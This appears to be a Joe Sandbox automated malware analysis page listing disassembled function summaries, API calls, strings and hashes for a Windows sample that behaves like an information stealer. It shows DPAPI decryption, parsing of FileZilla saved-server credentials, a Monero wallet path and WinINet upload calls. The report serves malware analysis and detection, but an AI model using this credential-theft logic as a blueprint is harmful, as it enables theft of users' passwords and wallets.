Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: IWw$_b~x$E-b
API String ID: 0-3288455321
Opcode ID: 4f1d4ac2d3e710e79ad5c1374f8cce5efe714a34a21714d06835ff9dbd98d4b6
Instruction ID: 79cddcaed6c7c829b0b1ae42a6ee0d7b0ee25885c5dd35990fd273fcc11fcf80
Opcode Fuzzy Hash: 4f1d4ac2d3e710e79ad5c1374f8cce5efe714a34a21714d06835ff9dbd98d4b6
Instruction Fuzzy Hash: 07922AF3A0C2109FE704AE2DEC8567AB7E9EFD4320F1A893DE6C5D7344E67558018692

Function 00483720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0048E118,00000000,00000001,0048E108,00000000), ref: 00483758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004837B0

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: a730e269f0538d2a576d007567367cbefb533ea0c56770e044f7f80ca402b27d
Instruction ID: 5d1de4879c794ef8d804a5cdc3c80e602324faf45b7f02459bf134f82901a0a5
Opcode Fuzzy Hash: a730e269f0538d2a576d007567367cbefb533ea0c56770e044f7f80ca402b27d
Instruction Fuzzy Hash: 4C410770A00A289FDB24EF58CC94B9BB7B5BB48706F4055D9E608A7290D7716EC5CF50

Function 00479B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00479B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00479BA3
LocalFree.KERNEL32(?), ref: 00479BD3

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 58aa950c16a003f17b60492495eb398ced476805fba0b93113998abae7d0d857
Instruction ID: fe0fdf77ed0c22c6e831f70cb7c25c960a6282a2aa3a68c4694b30a40ca132ca
Opcode Fuzzy Hash: 58aa950c16a003f17b60492495eb398ced476805fba0b93113998abae7d0d857
Instruction Fuzzy Hash: 891109B8A00209EFDB04DF94D985AAEB7B5FF89300F104599E815A7350D774AE54CFA1

Function 00791E63 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

@w/, xrefs: 00791EDF

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @w/
API String ID: 0-1462114854
Opcode ID: 850ed8d1cf0e611b3ae9911c0184da492441227e10c2ae52d3156e020b2fd115
Instruction ID: 2f1089c656e12c0ed688180c671ddae1862dcd6b7b7055ff34b692ebc5feef50
Opcode Fuzzy Hash: 850ed8d1cf0e611b3ae9911c0184da492441227e10c2ae52d3156e020b2fd115
Instruction Fuzzy Hash: 7C515EF361C3049FE7086E7DEC9873A77D5EB54320F2A463DEAC597384E97518058286

Function 0079E1FD Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c5cd7d5efe8fec6fc98bf58db4b5817cb7bc1993ade98db71cf61c09c68722
Instruction ID: d108404e64fe00beee418bd34e1c50278f859d6845e5ddbc06f3f6f606fed7b8
Opcode Fuzzy Hash: d7c5cd7d5efe8fec6fc98bf58db4b5817cb7bc1993ade98db71cf61c09c68722
Instruction Fuzzy Hash: E27106B3E182109FE3086E38DC1537AB7E9EF94320F1B453DDAC697784DA7558408782

Function 007C03EB Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c1d014bec99a00a36b0d388d195b42a1eac706c33435ac608450508ca7345eb
Instruction ID: a63416edb0f418e4cf072641a1572a597f16ff81aee9d1af5053595d3f2924f4
Opcode Fuzzy Hash: 4c1d014bec99a00a36b0d388d195b42a1eac706c33435ac608450508ca7345eb
Instruction Fuzzy Hash: CD61D1B39082149FE344AE28DC8677AB7E5EF58710F1B093DDAC5D3340EA7968158B87

Function 007C65EE Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b41cdc0cbf5fd2a68baabf784dfb21e1a5cd52bfa981ae2ca96f2d826adb020
Instruction ID: 04d56ee636786282cb161d677817c5a5be1c6c379ffbc515794b3c664e718003
Opcode Fuzzy Hash: 1b41cdc0cbf5fd2a68baabf784dfb21e1a5cd52bfa981ae2ca96f2d826adb020
Instruction Fuzzy Hash: 6451F0F39082109BE318AF1AEC8477BFBE5EFD4760F16853DDAC983340E53949058696

Function 0081405A Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a78ab0960e147ea62ab178a861edccba462277a8ef5e582166af59d725dac30
Instruction ID: 20e6a644cfcfcd8dd8939c29c3d1db01cf55435793a0883f0d4a377d7dcd7ae2
Opcode Fuzzy Hash: 3a78ab0960e147ea62ab178a861edccba462277a8ef5e582166af59d725dac30
Instruction Fuzzy Hash: 88415BF3E145248BE7145929EC08766BAD6DBD0730F2A853DDE8893784EC7E480682D5

Function 007D525A Relevance: .1, Instructions: 121COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2c39d754ec1135b39bb8c5949df7cc19cbddaa7ab486dc849ecf4ebfbd69648a
Instruction ID: f4cab7aa385c4d1b4a0ca3c1a5fc0a80c42ab33deeff9a48bdd6423c48ac4e8e
Opcode Fuzzy Hash: 2c39d754ec1135b39bb8c5949df7cc19cbddaa7ab486dc849ecf4ebfbd69648a
Instruction Fuzzy Hash: DC41F5F3A086144FF3146E2CDC8972AB7E5EB48320F57463DDAD9E3384E97958058786

Function 00489750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00480250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

Part of subcall function 00488DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00488E0B

Part of subcall function 0048A920: lstrcpy.KERNEL32(00000000,?), ref: 0048A972
Part of subcall function 0048A920: lstrcat.KERNEL32(00000000), ref: 0048A982

Part of subcall function 0048A8A0: lstrcpy.KERNEL32(?,00490E17), ref: 0048A905

Part of subcall function 0048A9B0: lstrlen.KERNEL32(?,01238FF0,?,\Monero\wallet.keys,00490E17), ref: 0048A9C5
Part of subcall function 0048A9B0: lstrcpy.KERNEL32(00000000), ref: 0048AA04
Part of subcall function 0048A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0048AA12

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004799EC
Part of subcall function 004799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00479A11
Part of subcall function 004799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00479A31
Part of subcall function 004799C0: ReadFile.KERNEL32(000000FF,?,00000000,0047148F,00000000), ref: 00479A5A
Part of subcall function 004799C0: LocalFree.KERNEL32(0047148F), ref: 00479A90
Part of subcall function 004799C0: CloseHandle.KERNEL32(000000FF), ref: 00479A9A

Part of subcall function 00488E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00488E52

GetProcessHeap.KERNEL32(00000000,000F423F,00490DBA,00490DB7,00490DB6,00490DB3), ref: 00480362
RtlAllocateHeap.NTDLL(00000000), ref: 00480369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00480385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 00480393
StrStrA.SHLWAPI(00000000,<Port>), ref: 004803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 004803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00480419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 00480427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00480463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 00480475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 00480502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 0048051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 00480532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 0048054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00480562
lstrcat.KERNEL32(?,profile: null), ref: 00480571
lstrcat.KERNEL32(?,url: ), ref: 00480580
lstrcat.KERNEL32(?,00000000), ref: 00480593
lstrcat.KERNEL32(?,00491678), ref: 004805A2
lstrcat.KERNEL32(?,00000000), ref: 004805B5
lstrcat.KERNEL32(?,0049167C), ref: 004805C4
lstrcat.KERNEL32(?,login: ), ref: 004805D3
lstrcat.KERNEL32(?,00000000), ref: 004805E6
lstrcat.KERNEL32(?,00491688), ref: 004805F5
lstrcat.KERNEL32(?,password: ), ref: 00480604
lstrcat.KERNEL32(?,00000000), ref: 00480617
lstrcat.KERNEL32(?,00491698), ref: 00480626
lstrcat.KERNEL32(?,0049169C), ref: 00480635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00490DB2), ref: 0048068E

Strings

url: , xrefs: 00480577
profile: null, xrefs: 00480568
<User>, xrefs: 00480410
<Pass encoding="base64">, xrefs: 0048045A
<Port>, xrefs: 004803C6
browser: FileZilla, xrefs: 00480559
<Host>, xrefs: 0048037C
login: , xrefs: 004805CA
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 004802A4
password: , xrefs: 004805FB

Memory Dump Source

Source File: 00000000.00000002.1700682894.0000000000471000.00000040.00000001.01000000.00000003.sdmp, Offset: 00470000, based on PE: true

Associated: 00000000.00000002.1700666613.0000000000470000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.000000000052D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.0000000000552000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700682894.00000000006BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000937000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000957000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1700814341.000000000096F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701033572.0000000000970000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701132073.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701145380.0000000000B10000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_470000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 305d2f78e3fe93e300bc5ebb22ec0b795915dc669d75dc7d004a77433daac028
Instruction ID: bd8c10570c792efcb81e76d249e4ea09d8dcd7cad126e0e2c25c3f2cba19bf74
Opcode Fuzzy Hash: 305d2f78e3fe93e300bc5ebb22ec0b795915dc669d75dc7d004a77433daac028
Instruction Fuzzy Hash: 3AD141B1D10108ABDB04FBE1DD96EEE7739AF14304F50492EF102A6091DF7CAA59CB69

Function 00475960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0048A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0048A7E6

Part of subcall function 004747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00474839
Part of subcall function 004747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00474849

Part of subcall function 0048A740: lstrcpy.KERNEL32(00490E17,00000000), ref: 0048A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004759F8
StrCmpCA.SHLWAPI(?,0123E858), ref: 00475A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00475B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,0123E7F8,00000000,?,0123A4F0,00000000,?,00491A1C), ref: 00475E71
lstrlen.KERNEL32(00000000), ref: 00475E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00475E93
RtlAllocateHeap.NTDLL(00000000), ref: 00475E9A
lstrlen.KERNEL32(00000000), ref: 00475EAF
lstrlen.KERNEL32(00000000), ref: 00475ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00475EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00475F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00475F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00475F4C
InternetCloseHandle.WININET(00000000), ref: 00475FB0
InternetCloseHandle.WININET(00000000), ref: 00475FBD
HttpOpenRequestA.WININET(00000000,0123E778,?,0123E298,00000000,00000000,00400100,00000000), ref: 00475BF8

